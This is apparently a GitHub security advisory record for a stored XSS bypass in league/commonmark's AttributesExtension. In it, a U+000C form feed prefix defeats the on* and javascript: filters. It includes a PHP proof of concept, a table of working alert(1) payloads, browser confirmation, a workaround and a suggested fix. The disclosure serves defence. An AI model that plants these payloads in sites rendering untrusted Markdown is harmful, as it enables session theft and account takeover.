{"id":"GHSA-f8fg-pg57-v4j8","title":"league/commonmark XSS: `on*` event-handler filter in `AttributesExtension` bypassed with a U+000C form feed","summary":"league/commonmark XSS: `on*` event-handler filter in `AttributesExtension` bypassed with a U+000C form feed","severity":"high","cvss":7.2,"cwe":["CWE-79","CWE-86"],"vendor":"league","product":"league/commonmark","ecosystem":"composer","affected":["league/commonmark >= 2.7.0, < 2.9.1"],"patched":["league/commonmark 2.9.1"],"published":"2026-09-01","updated":"2026-09-01","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-f8fg-pg57-v4j8","references":[{"url":"https://github.com/thephpleague/commonmark/security/advisories/GHSA-f8fg-pg57-v4j8"},{"url":"https://github.com/thephpleague/commonmark/commit/dfcdf4554c16aa37c15e3a5ee3243ee26147c239"},{"url":"https://github.com/thephpleague/commonmark/releases/tag/2.9.1"},{"url":"https://github.com/advisories/GHSA-f8fg-pg57-v4j8"}],"tags":["ghsa","composer"],"ingestedAt":"2026-09-01T20:32:02.091Z","slug":"GHSA-f8fg-pg57-v4j8","body":"## Overview\n\n### Summary\n\nThe `AttributesExtension` documents a security guarantee:\n\n> **Note:** Attributes starting with `on` (e.g. `onclick` or `onerror`) are capable of executing\n> JavaScript code and are therefore **never allowed by default**. You must explicitly add them to\n> the `allow` list if you want to use them.\n>\n> — `docs/2.x/extensions/attributes.md`\n\nPrefixing the attribute name with a single U+000C FORM FEED byte defeats that guarantee.\n`{<FF>onclick=\"alert(1)\"}` passes through `AttributesHelper::filterAttributes()` untouched and is\nwritten verbatim into the output, where browsers parse it as a genuine `onclick` handler.\n\nThe same prefix defeats the `allow_unsafe_links` check, letting a `javascript:` URI through on\n`href` / `src` even when `allow_unsafe_links` is `false`.\n\nThis bypasses the fix shipped in the **2.7.0 security release** (\"Fix XSS in AttributesExtension\",\n43207253ea5f14867c77c697cd3838c446cadcea), which added `filterAttributes()` for the express\npurpose of blocking these attributes.\n\nThroughout this report `<FF>` denotes a literal U+000C byte (`\"\\x0C\"` in PHP). It is invisible in\nrendered text, so all payloads below are written with PHP escape sequences to stay unambiguous.\n\n### Details\n\nThree behaviours combine.\n\n**1. `\\x0C` survives the parser's `trim()`.**\n\n`AttributesHelper::SINGLE_ATTRIBUTE` begins with `\\s*`, and `Cursor::match()` returns\n`$matches[0][0]` — the *entire* match, including that leading whitespace. The result is cleaned\nwith PHP's `trim()`:\n\n```php\n// src/Extension/Attributes/Util/AttributesHelper.php:62\nwhile ($attribute = \\trim((string) $attributeCursor->match('/^' . self::SINGLE_ATTRIBUTE . '/i'))) {\n```\n\nPCRE `\\s` matches `\\x0C`, but PHP's default `trim()` charlist is `\" \\t\\n\\r\\0\\x0B\"` — it includes\nthe vertical tab `\\x0B` but **not** the form feed `\\x0C`. The byte is therefore consumed by the\nregex, retained in the returned match, and not stripped. It ends up inside the attribute name:\n\n```php\n// src/Extension/Attributes/Util/AttributesHelper.php:94\n$attributes[\\trim($name)] = \\trim($value);   // $name === \"\\x0Conclick\"\n```\n\n`\\x0C` is the only byte with this property: every other character the HTML5 tokenizer treats as\nwhitespace (`\\x09`, `\\x0A`, `\\x0D`, `\\x20`), plus `\\x0B`, is in PHP's trim charlist. The PoC\nincludes a `\\x0B` case as a control, and it is correctly stripped.\n\n**2. The filter's string comparisons miss it.**\n\n`filterAttributes()` compares the raw name against literal strings:\n\n```php\n// src/Extension/Attributes/Util/AttributesHelper.php:148-166\n$attrNameLower = \\strtolower($name);                            // \"\\x0conclick\"\n... ($attrNameLower === 'href' || $attrNameLower === 'src') ... // false\n... \\str_starts_with($attrNameLower, 'on') ...                  // false -> not removed\n```\n\n**3. The renderer never escapes attribute names.**\n\n```php\n// src/Util/HtmlElement.php:123-129\n$result .= ' ' . $key . '=\"' . Xml::escape($value) . '\"';   // $key emitted raw\n```\n\nBecause the HTML5 tokenizer treats `\\x0C` as whitespace *between* attributes, the browser reads\nthe name as plain `onclick`.\n\n### PoC\n\n```php\n<?php\nrequire 'vendor/autoload.php';\n\nuse League\\CommonMark\\Environment\\Environment;\nuse League\\CommonMark\\Extension\\Attributes\\AttributesExtension;\nuse League\\CommonMark\\Extension\\CommonMark\\CommonMarkCoreExtension;\nuse League\\CommonMark\\MarkdownConverter;\n\n// The most defensive configuration docs/2.x/security.md recommends.\n$env = new Environment([\n    'html_input'         => 'escape',\n    'allow_unsafe_links' => false,\n    'max_nesting_level'  => 100,\n    // 'attributes' => ['allow' => [...]] deliberately left at its default []\n]);\n$env->addExtension(new CommonMarkCoreExtension());\n$env->addExtension(new AttributesExtension());\n$converter = new MarkdownConverter($env);\n\n$FF = \"\\x0C\";\n\necho $converter->convert('hello {onclick=\"alert(1)\"}')->getContent();\n// <p>hello</p>                                    <- filtered, as documented\n\necho $converter->convert('hello {' . $FF . 'onclick=\"alert(1)\"}')->getContent();\n// <p \\x0Conclick=\"alert(1)\">hello</p>             <- BYPASS\n```\n\nFull observed output (`\\x0C` shown escaped; it is a literal single byte in the real output):\n\n| # | Markdown input | Rendered output | Result |\n|---|---|---|---|\n| A | `hello {onclick=\"alert(1)\"}` | `<p>hello</p>` | filtered (control) |\n| B | `hello {\\x0Conclick=\"alert(1)\"}` | `<p \\x0Conclick=\"alert(1)\">hello</p>` | **bypass** |\n| C | `hello {\\x0Bonclick=\"alert(1)\"}` | `<p>hello</p>` | filtered (control) |\n| D | `[click](javascript:alert(1))` | `<p><a>click</a></p>` | filtered (control) |\n| E | `[click](https://example.com){\\x0Chref=\"javascript:alert(1)\"}` | `<p><a \\x0Chref=\"javascript:alert(1)\" href=\"https://example.com\">click</a></p>` | **bypass** |\n| F | `![x](https://example.invalid/x.png){\\x0Conerror=\"alert(1)\"}` | `<p><img \\x0Conerror=\"alert(1)\" src=\"…\" alt=\"x\" /></p>` | **bypass** |\n| G | `# heading` + newline + `{\\x0Conclick=\"alert(1)\"}` | `<h1 \\x0Conclick=\"alert(1)\">heading</h1>` | **bypass** (block syntax) |\n\nIn case E the injected `href` precedes the legitimate one. Per the HTML5 duplicate-attribute rule\nthe **first** occurrence wins, so the `javascript:` URI is the one the browser actually uses.\n\n**Browser confirmation.** Loading the library's unmodified output in Chrome for Testing 148:\n\n```\n<img> attribute names : [\"onerror\",\"src\",\"alt\"]      <- parsed as a real `onerror`\ntypeof img.onerror    : function                     <- bound as an event handler\nhandlers fired        : [\"img-onerror\"]              <- fired on load, no interaction\ndocument.title        : XSS-FIRED\nlink href attribute   : \"javascript:void(0)\"\nlink href property    : \"javascript:void(0)\"         <- javascript: URI is the effective href\npage errors           : []\n```\n\nThe `onerror` case executes with **no user interaction** — rendering the attacker's Markdown is\nsufficient.\n\nVerified against git HEAD (`f966b17a`) and against tag `2.9.0`, on PHP 8.5.8.\n\n### Impact\n\nStored cross-site scripting in any application that renders untrusted Markdown with\n`AttributesExtension` enabled and `attributes.allow` left at its default `[]` — even when the\napplication has followed every hardening step in `docs/2.x/security.md`\n(`html_input => 'escape'`, `allow_unsafe_links => false`, `max_nesting_level => 100`).\n\nConsequences are the usual for stored XSS: session and cookie theft, actions performed as the\nviewing user, and account takeover where the host application permits it. Because the payload can\nbe attached to an image (`onerror`), it fires on page load without requiring the victim to\ninteract with anything.\n\nThe affected configuration is the extension's default: `attributes.allow` defaults to `[]`, and\nthe documentation describes that default as safe with respect to `on*` attributes.\n\n### Workaround for users\n\nSetting an explicit allow list takes the other branch of `filterAttributes()`, which drops the\nform-feed name because it is not in the list:\n\n```php\n$config = ['attributes' => ['allow' => ['id', 'class', 'align']]];\n```\n\nVerified: `hello {\\x0Conclick=\"alert(1)\"}` then renders as `<p>hello</p>`.\n\n### Suggested fix\n\nThe narrow fix is to add `\\x0C` to the trim charlist at `AttributesHelper.php` lines 62, 89, 90\nand 94. That closes this instance but leaves the shape of the problem in place.\n\nA more durable fix is to reject anything that is not a well-formed attribute name in\n`filterAttributes()`, reusing the constant the parser already defines (`RegexHelper` is already\nimported in that file):\n\n```php\nforeach ($attributes as $name => $value) {\n    // Names are compared against literal strings below and emitted without escaping,\n    // so anything that isn't a plain attribute name must not get through.\n    if (\\preg_match('/^' . RegexHelper::PARTIAL_ATTRIBUTENAME . '$/i', $name) !== 1) {\n        unset($attributes[$name]);\n        continue;\n    }\n\n    $attrNameLower = \\strtolower($name);\n    // ... existing logic unchanged\n}\n```\n\nAs defence in depth, `HtmlElement::__toString()` could validate or escape `$key`. It currently\ntrusts its callers to supply safe attribute names, and `filterAttributes()` is the only thing\nstanding between that method and user-supplied input.\n\n## Affected packages\n\n- `league/commonmark >= 2.7.0, < 2.9.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `league/commonmark 2.9.1`","depth":"twilight","depthScore":40,"depthScoreParts":{"impact":39.6,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}